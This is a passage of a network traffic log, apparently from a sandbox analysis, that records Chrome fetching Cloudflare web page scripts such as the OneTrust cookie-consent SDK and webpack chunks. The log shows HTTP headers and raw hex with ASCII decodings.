2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 6d 61 74 69 6f 6e 20 61 6e 64 20 69 73 20 75 73 65 64 20 66 6f 72 20 64 69 61 67 6e 6f 73 74 69 63 20 70 75 72 70 6f 73 65 73 20 62 79 20 49 6d 70 61 63 74 20 52 61 64 69 75 73 2c 20 61 20 73 65 72 76 69 63 65 20 77 65 20 75 73 65 20 74 6f 20 74 72 61 63 6b 20 73 69 67 6e 75 70 20 63 6f 6d 6d 69 73 73 69 6f 6e 73 20 66 6f 72 20 6f 75 72 20 61 66 66 69 6c 69 61 74 65 20 70 72 6f 67 72 61 6d 2e 20 57 65 20 68 61 76 65 20 63 61 74 65 67 6f 72 69 7a 65 64 20 69 74 20 75 6e 64 65 72 20 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 62 65 63 61 75 73 65 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 66 6f 72 20 74 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 6f 66 20 6f 75 72 20 61 66 66 69 6c 69 61 74 65 20 70 72 6f 67 72 61 6d 2e 22 2c 22 70 61 74 74 65 72 6e 4b 65 Data Ascii: mation and is used for diagnostic purposes by Impact Radius, a service we use to track signup commissions for our affiliate program. We have categorized it under Functionality because it is necessary for the operation of our affiliate program.","patternKe
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 64 66 6c 61 72 65 2e 63 6f 6d 22 2c 22 49 73 53 65 73 73 69 6f 6e 22 3a 74 72 75 65 2c 22 4c 65 6e 67 74 68 22 3a 22 30 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 70 61 74 74 65 72 6e 4b 65 79 22 3a 6e 75 6c 6c 2c 22 74 68 69 72 64 50 61 72 74 79 4b 65 79 22 3a 22 22 2c 22 66 69 72 73 74 50 61 72 74 79 4b 65 79 22 3a 6e 75 6c 6c 2c 22 44 75 72 61 74 69 6f 6e 54 79 70 65 22 3a 31 2c 22 63 61 74 65 67 6f 72 79 22 3a 6e 75 6c 6c 2c 22 69 73 54 68 69 72 64 50 61 72 74 79 22 3a 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a 22 66 32 61 32 65 65 31 65 2d 34 66 62 38 2d 34 31 34 30 2d 61 61 36 64 2d 61 39 65 61 32 36 61 36 31 62 35 35 22 2c 22 4e 61 6d 65 22 3a 22 61 Data Ascii: dflare.com","IsSession":true,"Length":"0","description":"","thirdPartyDescription":null,"patternKey":null,"thirdPartyKey":"","firstPartyKey":null,"DurationType":1,"category":null,"isThirdParty":false},{"id":"f2a2ee1e-4fb8-4140-aa6d-a9ea26a61b55","Name":"a
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 79 6f 75 20 64 6f 20 6e 6f 74 20 61 6c 6c 6f 77 20 74 68 65 73 65 20 63 6f 6f 6b 69 65 73 2c 20 79 6f 75 20 77 69 6c 6c 20 65 78 70 65 72 69 65 6e 63 65 20 6c 65 73 73 20 74 61 72 67 65 74 65 64 20 61 64 76 65 72 74 69 73 69 6e 67 2e 22 2c 22 70 61 74 74 65 72 6e 4b 65 79 22 3a 22 63 66 5f 63 68 6c 5f 22 2c 22 74 68 69 72 64 50 61 72 74 79 4b 65 79 22 3a 22 50 61 74 74 65 72 6e 7c 63 66 5f 63 68 6c 5f 22 2c 22 66 69 72 73 74 50 61 72 74 79 4b 65 79 22 3a 22 50 61 74 74 65 72 6e 7c 63 66 5f 63 68 6c 5f 22 2c 22 44 75 72 61 74 69 6f 6e 54 79 70 65 22 3a 31 2c 22 63 61 74 65 67 6f 72 79 22 3a 6e 75 6c 6c 2c 22 69 73 54 68 69 72 64 50 61 72 74 79 22 3a 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a 22 66 37 30 64 38 36 32 35 2d 35 37 63 61 2d 34 36 62 65 2d 61 36 37 Data Ascii: you do not allow these cookies, you will experience less targeted advertising.","patternKey":"cf_chl_","thirdPartyKey":"Pattern\|cf_chl_","firstPartyKey":"Pattern\|cf_chl_","DurationType":1,"category":null,"isThirdParty":false},{"id":"f70d8625-57ca-46be-a67

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	50746	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	597	OUT	GET /public/vendor/onetrust/scripttemplates/202407.2.0/otBannerSdk.js HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	833	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"b82bd25a15afd65021b760e0c52c6f5c" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yk3whBg6rDlOWDek6YbSnhEg6lALUFpXZd8SYImSuRNgTbDTOltUhUYC88I6fKfU66DmIBhXz4xXLxx76r1ICZaU%2FQmcl%2FPSkXrv5Z%2BNlugiDoGjp8BrAn0hBVhMmgBitfdcmYiCpac%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8d48fbfa8e934859-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	536	IN	Data Raw: 37 63 37 30 0d 0a 2f 2a 2a 20 0a 20 2a 20 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 0a 20 2a 20 76 32 30 32 34 30 37 2e 32 2e 30 0a 20 2a 20 62 79 20 4f 6e 65 54 72 75 73 74 20 4c 4c 43 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 78 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 28 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6f 20 69 6e Data Ascii: 7c70/** * onetrust-banner-sdk * v202407.2.0 * by OneTrust LLC * Copyright 2024 */!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 6f 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 65 77 20 6f 29 7d 76 61 72 20 48 2c 52 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 52 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 3c 6e 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 72 29 26 26 28 65 5b 72 5d 3d 74 5b 72 5d 29 3b 72 65 74 75 72 6e 20 65 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 75 28 Data Ascii: o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function u(
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 2c 61 3d 74 3b 65 6c 73 65 7b 69 66 28 21 28 61 26 26 6c 2e 6c 61 62 65 6c 3c 61 5b 32 5d 29 29 7b 61 5b 32 5d 26 26 6c 2e 6f 70 73 2e 70 6f 70 28 29 2c 6c 2e 74 72 79 73 2e 70 6f 70 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 6c 2e 6c 61 62 65 6c 3d 61 5b 32 5d 2c 6c 2e 6f 70 73 2e 70 75 73 68 28 74 29 7d 7d 74 3d 72 2e 63 61 6c 6c 28 6e 2c 6c 29 7d 63 61 74 63 68 28 65 29 7b 74 3d 5b 36 2c 65 5d 2c 73 3d 30 7d 66 69 6e 61 6c 6c 79 7b 69 3d 61 3d 30 7d 69 66 28 35 26 74 5b 30 5d 29 74 68 72 6f 77 20 74 5b 31 5d 3b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 74 5b 30 5d 3f 74 5b 31 5d 3a 76 6f 69 64 20 30 2c 64 6f 6e 65 3a 21 30 7d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 2c 74 3d 30 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 Data Ascii: ,a=t;else{if(!(a&&l.label<a[2])){a[2]&&l.ops.pop(),l.trys.pop();continue}l.label=a[2],l.ops.push(t)}}t=r.call(n,l)}catch(e){t=[6,e],s=0}finally{i=a=0}if(5&t[0])throw t[1];return{value:t[0]?t[1]:void 0,done:!0}}}}function M(){for(var e=0,t=0,o=arguments.le
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 65 2e 74 68 65 6e 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 7a 29 72 65 74 75 72 6e 20 74 2e 5f 73 74 61 74 65 3d 33 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 76 6f 69 64 20 4a 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 29 72 65 74 75 72 6e 20 76 6f 69 64 20 51 28 28 6e 3d 6f 2c 72 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 61 70 70 6c 79 28 72 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 4a 28 74 29 7d 63 61 74 63 68 28 65 29 7b 59 28 74 2c 65 29 7d 76 61 72 20 6e 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 59 28 65 2c 74 29 7b 65 2e 5f 73 74 61 74 65 3d 32 2c 65 2e 5f 76 61 6c 75 65 3d 74 2c 4a 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 4a 28 65 29 Data Ascii: e.then;if(e instanceof z)return t._state=3,t._value=e,void J(t);if("function"==typeof o)return void Q((n=o,r=e,function(){n.apply(r,arguments)}),t)}t._state=1,t._value=e,J(t)}catch(e){Y(t,e)}var n,r}function Y(e,t){e._state=2,e._value=t,J(e)}function J(e)
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 6e 2e 63 61 6c 6c 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 28 6f 2c 65 29 7d 2c 69 29 7d 73 5b 6f 5d 3d 65 2c 30 3d 3d 2d 2d 61 26 26 72 28 73 29 7d 63 61 74 63 68 28 65 29 7b 69 28 65 29 7d 7d 28 65 2c 73 5b 65 5d 29 7d 29 7d 2c 7a 2e 72 65 73 6f 6c 76 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 7a 3f 74 3a 6e 65 77 20 7a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 28 74 29 7d 29 7d 2c 7a 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 7a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 Data Ascii: ction"==typeof n)return void n.call(e,function(e){t(o,e)},i)}s[o]=e,0==--a&&r(s)}catch(e){i(e)}}(e,s[e])})},z.resolve=function(t){return t&&"object"==typeof t&&t.constructor===z?t:new z(function(e){e(t)})},z.reject=function(o){return new z(function(e,t){t
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 7d 72 65 74 75 72 6e 21 31 7d 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 2c 5a 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 45 6e 64 73 57 69 74 68 50 6f 6c 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 64 73 57 69 74 68 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 3e 74 68 69 73 2e 6c 65 6e 67 74 68 29 26 26 28 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 74 68 69 73 2e 73 75 62 73 74 72 69 6e 67 28 74 2d 65 2e 6c 65 6e 67 74 Data Ascii: }return!1},writable:!0,configurable:!0})},Z.prototype.initEndsWithPoly=function(){String.prototype.endsWith\|\|Object.defineProperty(String.prototype,"endsWith",{value:function(e,t){return(void 0===t\|\|t>this.length)&&(t=this.length),this.substring(t-e.lengt
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 3a 21 30 7d 29 7d 2c 5a 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 41 72 72 61 79 46 69 6c 6c 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 6c 6c 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2c 22 66 69 6c 6c 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 74 68 69 73 20 69 73 20 6e 75 6c 6c 20 6f 72 20 6e 6f 74 20 64 65 66 69 6e 65 64 22 29 3b 66 6f 72 28 76 61 72 20 74 3d 4f 62 6a 65 63 74 28 74 68 69 73 29 2c 6f 3d 74 2e 6c 65 6e 67 74 68 3e 3e 3e 30 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d Data Ascii: :!0})},Z.prototype.initArrayFillPolyfill=function(){Array.prototype.fill\|\|Object.defineProperty(Array.prototype,"fill",{value:function(e){if(null==this)throw new TypeError("this is null or not defined");for(var t=Object(this),o=t.length>>>0,n=arguments[1]
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 6e 6e 65 72 53 61 76 65 53 65 74 74 69 6e 67 73 22 2c 65 5b 65 2e 43 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 69 6e 67 42 75 74 74 6f 6e 3d 36 5d 3d 22 43 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 69 6e 67 42 75 74 74 6f 6e 22 2c 28 65 3d 65 65 3d 65 65 7c 7c 7b 7d 29 5b 65 2e 42 61 6e 6e 65 72 3d 31 5d 3d 22 42 61 6e 6e 65 72 22 2c 65 5b 65 2e 50 43 3d 32 5d 3d 22 50 43 22 2c 65 5b 65 2e 41 50 49 3d 33 5d 3d 22 41 50 49 22 2c 28 65 3d 74 65 3d 74 65 7c 7c 7b 7d 29 2e 41 63 63 65 70 74 41 6c 6c 3d 22 41 63 63 65 70 74 41 6c 6c 22 2c 65 2e 52 65 6a 65 63 74 41 6c 6c 3d 22 52 65 6a 65 63 74 41 6c 6c 22 2c 65 2e 55 70 64 61 74 65 43 6f 6e 73 65 6e 74 3d 22 55 70 64 61 74 65 43 6f 6e 73 65 6e 74 22 2c 28 65 3d 6f 65 3d 6f Data Ascii: nnerSaveSettings",e[e.ContinueWithoutAcceptingButton=6]="ContinueWithoutAcceptingButton",(e=ee=ee\|\|{})[e.Banner=1]="Banner",e[e.PC=2]="PC",e[e.API=3]="API",(e=te=te\|\|{}).AcceptAll="AcceptAll",e.RejectAll="RejectAll",e.UpdateConsent="UpdateConsent",(e=oe=o
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 6c 6c 22 5d 3d 34 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 41 6c 6c 6f 77 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 5d 3d 35 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 5d 3d 36 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 2c 65 5b 65 5b 22 47 50 43 20 76 61 6c 75 65 20 63 68 61 6e 67 65 64 22 5d 3d 37 5d 3d 22 47 50 43 20 76 61 6c 75 65 20 63 68 61 6e 67 65 64 22 2c 28 65 3d 68 65 3d 68 65 7c 7c 7b 7d 29 2e 41 63 74 69 76 65 3d 22 31 22 2c Data Ascii: ll"]=4]="Preference Center - Allow All",e[e["Preference Center - Reject All"]=5]="Preference Center - Reject All",e[e["Preference Center - Confirm"]=6]="Preference Center - Confirm",e[e["GPC value changed"]=7]="GPC value changed",(e=he=he\|\|{}).Active="1",
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 22 2c 65 2e 72 65 67 69 6f 6e 3d 22 72 65 67 69 6f 6e 22 2c 65 2e 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 3d 22 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 22 2c 28 65 3d 41 65 3d 41 65 7c 7c 7b 7d 29 2e 67 72 61 6e 74 65 64 3d 22 67 72 61 6e 74 65 64 22 2c 65 2e 64 65 6e 69 65 64 3d 22 64 65 6e 69 65 64 22 2c 30 2c 28 65 3d 49 65 3d 49 65 7c 7c 7b 7d 29 2e 4f 42 4a 45 43 54 5f 54 4f 5f 4c 49 3d 22 4f 62 6a 65 63 74 54 6f 4c 49 22 2c 65 2e 4c 49 5f 41 43 54 49 56 45 5f 49 46 5f 4c 45 47 41 4c 5f 42 41 53 49 53 3d 22 4c 49 41 63 74 69 76 65 49 66 4c 65 67 61 6c 42 61 73 69 73 22 2c 28 65 3d 4c 65 3d 4c 65 7c 7c 7b 7d 29 2e 63 6f 6f 6b 69 65 73 3d 22 63 6f 6f 6b 69 65 73 22 2c 65 2e 76 65 6e 64 6f 72 73 3d 22 76 65 6e 64 6f 72 73 22 2c 28 Data Ascii: tion",e.region="region",e.wait_for_update="wait_for_update",(e=Ae=Ae\|\|{}).granted="granted",e.denied="denied",0,(e=Ie=Ie\|\|{}).OBJECT_TO_LI="ObjectToLI",e.LI_ACTIVE_IF_LEGAL_BASIS="LIActiveIfLegalBasis",(e=Le=Le\|\|{}).cookies="cookies",e.vendors="vendors",(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	50748	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:09 UTC	779	OUT	GET /174-242772ef10d8d161ae24.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:10 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:09 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"03aae2cfe96bd1f6486190b7b41ac1d1" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N2a9hvdj1UFgwZx8Pg1eAAEnZICVKMz8BhAl7bau%2B79FnL75Ppca%2FCTNE0oYlxJmMG3qLulRzEBi9MXIyOFz1bzAFKgKrxzKFjTSr2bjWEqMWBSD9GoRYQtFK6gb4IxEGIrJQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc01fa3a3ab0-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:10 UTC	417	IN	Data Raw: 35 31 31 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 37 34 5d 2c 7b 33 31 36 38 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 6e 28 39 36 35 34 30 29 3b 63 6f 6e 73 74 20 72 3d 28 29 3d 3e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3a 6e 65 77 20 55 52 4c 53 65 61 Data Ascii: 511"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[174],{31682:function(e,t,n){var o=n(96540);const r=()=>"undefined"!=typeof window?new URLSearchParams(window.location.search):new URLSea
2024-10-18 13:48:10 UTC	887	IN	Data Raw: 65 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 29 7b 63 6f 6e 73 74 7b 70 72 6f 74 6f 63 6f 6c 3a 65 2c 70 61 74 68 6e 61 6d 65 3a 74 2c 68 6f 73 74 3a 6f 7d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 72 3d 60 24 7b 65 7d 2f 2f 24 7b 6f 7d 24 7b 74 7d 24 7b 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3f 60 3f 24 7b 6e 2e 74 6f 53 74 72 69 6e 67 28 29 7d 60 3a 22 22 7d 60 3b 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 7b 7d 2c 22 22 2c 72 29 7d 7d 5d 7d 7d 2c 33 36 31 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3d 6e 28 33 31 36 38 32 29 3b 74 2e 41 3d 28 29 3d 3e 7b 63 6f 6e 73 74 5b 65 5d 3d 28 30 2c 6f 2e 41 29 28 22 64 69 73 61 62 6c 65 50 72 65 76 Data Ascii: e),"undefined"!=typeof window){const{protocol:e,pathname:t,host:o}=window.location,r=`${e}//${o}${t}${n.toString()?`?${n.toString()}`:""}`;window.history.replaceState({},"",r)}}]}},3610:function(e,t,n){var o=n(31682);t.A=()=>{const[e]=(0,o.A)("disablePrev
2024-10-18 13:48:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	50749	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:09 UTC	722	OUT	GET /static/z/i.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:10 UTC	833	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:09 GMT Content-Type: application/javascript Content-Length: 1888 Connection: close Access-Control-Allow-Origin: https://www.cloudflare.com Vary: Origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Set-Cookie, Cache-Control Access-Control-Allow-Methods: GET, HEAD, POST, OPTIONS Access-Control-Max-Age: 600 X-Robots-Tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vOP%2BBlCMogu%2Bh3rQPUB8nbCJuMFqg1GTw0CoqGyrgBnYh8zda8tpIXR9pCnhLhypDyijjXXD43ryeyz59s4R6YJ85%2FMh8TjM9ZPzVnKXq20hG04AVzAMC7Ra2olPfUZFVwcLfg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc021896e96e-DFW alt-svc: h3=":443"; ma=86400
